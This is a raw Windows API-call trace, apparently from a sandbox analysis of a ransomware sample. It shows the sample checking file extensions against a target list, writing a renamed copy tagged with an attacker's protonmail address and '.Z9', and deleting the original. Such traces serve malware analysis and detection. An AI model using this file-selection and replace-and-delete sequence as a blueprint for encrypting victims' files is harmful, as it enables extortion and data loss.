	[0161.338] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.338] lstrlenW (lpString=".dbf") returned 4
	[0161.338] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.338] lstrlenW (lpString=".1cd") returned 4
	[0161.338] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.338] lstrlenW (lpString=".jpg") returned 4
	[0161.338] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.338] lstrlenW (lpString=".doc") returned 4
	[0161.338] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.338] lstrlenW (lpString=".docx") returned 5
	[0161.338] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0161.338] lstrlenW (lpString=".pdf") returned 4
	[0161.338] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.338] lstrlenW (lpString=".xls") returned 4
	[0161.338] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.338] lstrlenW (lpString=".xlsx") returned 5
	[0161.338] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0161.338] lstrlenW (lpString=".ppt") returned 4
	[0161.338] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.339] lstrlenW (lpString=".zip") returned 4
	[0161.339] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.339] lstrlenW (lpString=".rar") returned 4
	[0161.339] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.339] lstrlenW (lpString=".bz2") returned 4
	[0161.339] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.339] lstrlenW (lpString=".7z") returned 3
	[0161.339] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.339] lstrlenW (lpString=".dbf") returned 4
	[0161.339] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.339] lstrlenW (lpString=".1cd") returned 4
	[0161.339] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83
	[0161.339] lstrlenW (lpString=".jpg") returned 4
	[0161.339] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.339] Sleep (dwMilliseconds=0x64) 
	[0161.559] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0161.616] lstrlenW (lpString="insert.xml") returned 10
	[0161.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0161.782] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=215) returned 1
	[0161.782] CloseHandle (hObject=0x3cc) returned 1
	[0161.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20
	[0161.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.782] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.782] lstrlenW (lpString=".doc") returned 4
	[0161.782] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.782] lstrlenW (lpString=".docx") returned 5
	[0161.782] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0161.782] lstrlenW (lpString=".pdf") returned 4
	[0161.782] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.782] lstrlenW (lpString=".xls") returned 4
	[0161.782] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.782] lstrlenW (lpString=".xlsx") returned 5
	[0161.782] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0161.782] lstrlenW (lpString=".ppt") returned 4
	[0161.782] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.783] lstrlenW (lpString=".zip") returned 4
	[0161.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.783] lstrlenW (lpString=".rar") returned 4
	[0161.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString=".bz2") returned 4
	[0161.783] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString=".7z") returned 3
	[0161.783] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.783] lstrlenW (lpString=".dbf") returned 4
	[0161.783] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.783] lstrlenW (lpString=".1cd") returned 4
	[0161.783] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.783] lstrlenW (lpString=".jpg") returned 4
	[0161.783] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.783] lstrlenW (lpString=".doc") returned 4
	[0161.783] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString=".docx") returned 5
	[0161.783] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0161.783] lstrlenW (lpString=".pdf") returned 4
	[0161.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString=".xls") returned 4
	[0161.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString=".xlsx") returned 5
	[0161.783] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0161.783] lstrlenW (lpString=".ppt") returned 4
	[0161.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.783] lstrlenW (lpString=".zip") returned 4
	[0161.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0161.783] lstrlenW (lpString=".rar") returned 4
	[0161.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0161.783] lstrlenW (lpString=".bz2") returned 4
	[0161.784] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0161.784] lstrlenW (lpString=".7z") returned 3
	[0161.784] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0161.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.784] lstrlenW (lpString=".dbf") returned 4
	[0161.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0161.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.784] lstrlenW (lpString=".1cd") returned 4
	[0161.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0161.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0161.784] lstrlenW (lpString=".jpg") returned 4
	[0161.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0161.784] Sleep (dwMilliseconds=0x64) 
	[0161.897] Sleep (dwMilliseconds=0x64) 
	[0162.122] Sleep (dwMilliseconds=0x64) 
	[0162.279] Sleep (dwMilliseconds=0x64) 
	[0162.664] lstrcmpiW (lpString1=".inc", lpString2=".Z9") returned -1
	[0162.665] lstrlenW (lpString="oledbjvs.inc") returned 12
	[0162.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0162.665] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=9804) returned 1
	[0162.665] CloseHandle (hObject=0x450) returned 1
	[0162.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20
	[0162.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0162.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.666] lstrlenW (lpString=".doc") returned 4
	[0162.666] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0162.666] lstrlenW (lpString=".docx") returned 5
	[0162.666] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0162.666] lstrlenW (lpString=".pdf") returned 4
	[0162.666] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0162.666] lstrlenW (lpString=".xls") returned 4
	[0162.666] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0162.666] lstrlenW (lpString=".xlsx") returned 5
	[0162.666] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0162.666] lstrlenW (lpString=".ppt") returned 4
	[0162.666] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0162.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.666] lstrlenW (lpString=".zip") returned 4
	[0162.666] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0162.666] lstrlenW (lpString=".rar") returned 4
	[0162.666] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0162.666] lstrlenW (lpString=".bz2") returned 4
	[0162.666] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0162.666] lstrlenW (lpString=".7z") returned 3
	[0162.667] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0162.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.667] lstrlenW (lpString=".dbf") returned 4
	[0162.667] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0162.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.667] lstrlenW (lpString=".1cd") returned 4
	[0162.667] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0162.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.667] lstrlenW (lpString=".jpg") returned 4
	[0162.667] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0162.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.667] lstrlenW (lpString=".doc") returned 4
	[0162.667] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0162.667] lstrlenW (lpString=".docx") returned 5
	[0162.667] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0162.667] lstrlenW (lpString=".pdf") returned 4
	[0162.667] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0162.667] lstrlenW (lpString=".xls") returned 4
	[0162.667] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0162.667] lstrlenW (lpString=".xlsx") returned 5
	[0162.667] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0162.667] lstrlenW (lpString=".ppt") returned 4
	[0162.667] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0162.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.667] lstrlenW (lpString=".zip") returned 4
	[0162.668] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0162.668] lstrlenW (lpString=".rar") returned 4
	[0162.668] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0162.668] lstrlenW (lpString=".bz2") returned 4
	[0162.668] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0162.668] lstrlenW (lpString=".7z") returned 3
	[0162.668] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0162.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.668] lstrlenW (lpString=".dbf") returned 4
	[0162.668] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0162.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.668] lstrlenW (lpString=".1cd") returned 4
	[0162.668] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0162.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0162.668] lstrlenW (lpString=".jpg") returned 4
	[0162.668] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0162.668] lstrcmpiW (lpString1=".inc", lpString2=".Z9") returned -1
	[0162.668] lstrlenW (lpString="oledbvbs.inc") returned 12
	[0162.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0162.670] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=9975) returned 1
	[0162.670] CloseHandle (hObject=0x450) returned 1
	[0162.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20
	[0162.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0162.670] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0162.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.670] lstrlenW (lpString=".doc") returned 4
	[0162.670] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0162.670] lstrlenW (lpString=".docx") returned 5
	[0162.670] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0162.670] lstrlenW (lpString=".pdf") returned 4
	[0162.670] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0162.670] lstrlenW (lpString=".xls") returned 4
	[0162.670] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0162.670] lstrlenW (lpString=".xlsx") returned 5
	[0162.670] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0162.671] lstrlenW (lpString=".ppt") returned 4
	[0162.671] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0162.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.671] lstrlenW (lpString=".zip") returned 4
	[0162.671] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0162.671] lstrlenW (lpString=".rar") returned 4
	[0162.671] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0162.671] lstrlenW (lpString=".bz2") returned 4
	[0162.671] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0162.671] lstrlenW (lpString=".7z") returned 3
	[0162.671] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0162.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.671] lstrlenW (lpString=".dbf") returned 4
	[0162.671] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0162.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.671] lstrlenW (lpString=".1cd") returned 4
	[0162.671] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0162.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.671] lstrlenW (lpString=".jpg") returned 4
	[0162.671] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0162.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.671] lstrlenW (lpString=".doc") returned 4
	[0162.671] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0162.671] lstrlenW (lpString=".docx") returned 5
	[0162.671] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0162.671] lstrlenW (lpString=".pdf") returned 4
	[0162.671] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0162.671] lstrlenW (lpString=".xls") returned 4
	[0162.671] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0162.671] lstrlenW (lpString=".xlsx") returned 5
	[0162.671] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0162.671] lstrlenW (lpString=".ppt") returned 4
	[0162.671] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0162.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.671] lstrlenW (lpString=".zip") returned 4
	[0162.671] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0162.672] lstrlenW (lpString=".rar") returned 4
	[0162.672] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0162.672] lstrlenW (lpString=".bz2") returned 4
	[0162.672] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0162.672] lstrlenW (lpString=".7z") returned 3
	[0162.672] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0162.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.672] lstrlenW (lpString=".dbf") returned 4
	[0162.672] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0162.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.672] lstrlenW (lpString=".1cd") returned 4
	[0162.672] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0162.672] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned 56
	[0162.672] lstrlenW (lpString=".jpg") returned 4
	[0162.672] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0162.672] Sleep (dwMilliseconds=0x64) 
	[0162.963] Sleep (dwMilliseconds=0x64) 
	[0163.432] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0163.432] lstrlenW (lpString="J0099150.JPG") returned 12
	[0163.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450
	[0163.434] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=21914) returned 1
	[0163.434] CloseHandle (hObject=0x450) returned 1
	[0163.435] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220
	[0163.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.067] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.067] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x464
	[0164.067] GetLastError () returned 0x0
	[0164.068] ReadFile (in: hFile=0x43c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x559a, lpOverlapped=0x0) returned 1
	[0164.088] WriteFile (in: hFile=0x464, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0164.090] ReadFile (in: hFile=0x43c, lpBuffer=0x3739020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aafecc, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesRead=0x2aafecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.090] WriteFile (in: hFile=0x464, lpBuffer=0x3739020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aafc94, lpOverlapped=0x0 | out: lpBuffer=0x3739020*, lpNumberOfBytesWritten=0x2aafc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.090] SetEndOfFile (hFile=0x464) returned 1
	[0164.090] CloseHandle (hObject=0x464) returned 1
	[0164.090] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.090] SetEndOfFile (hFile=0x43c) returned 1
	[0164.095] CloseHandle (hObject=0x43c) returned 1
	[0164.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0164.096] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1
	[0164.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.096] lstrlenW (lpString=".doc") returned 4
	[0164.096] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0164.097] lstrlenW (lpString=".docx") returned 5
	[0164.097] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1
	[0164.097] lstrlenW (lpString=".pdf") returned 4
	[0164.097] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0164.097] lstrlenW (lpString=".xls") returned 4
	[0164.097] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0164.097] lstrlenW (lpString=".xlsx") returned 5
	[0164.097] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1
	[0164.097] lstrlenW (lpString=".ppt") returned 4
	[0164.097] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0164.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68
	[0164.097] lstrlenW (lpString=".zip") returned 4
	[0164.097] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0164.097] lstrlenW (lpString=".rar") returned 4
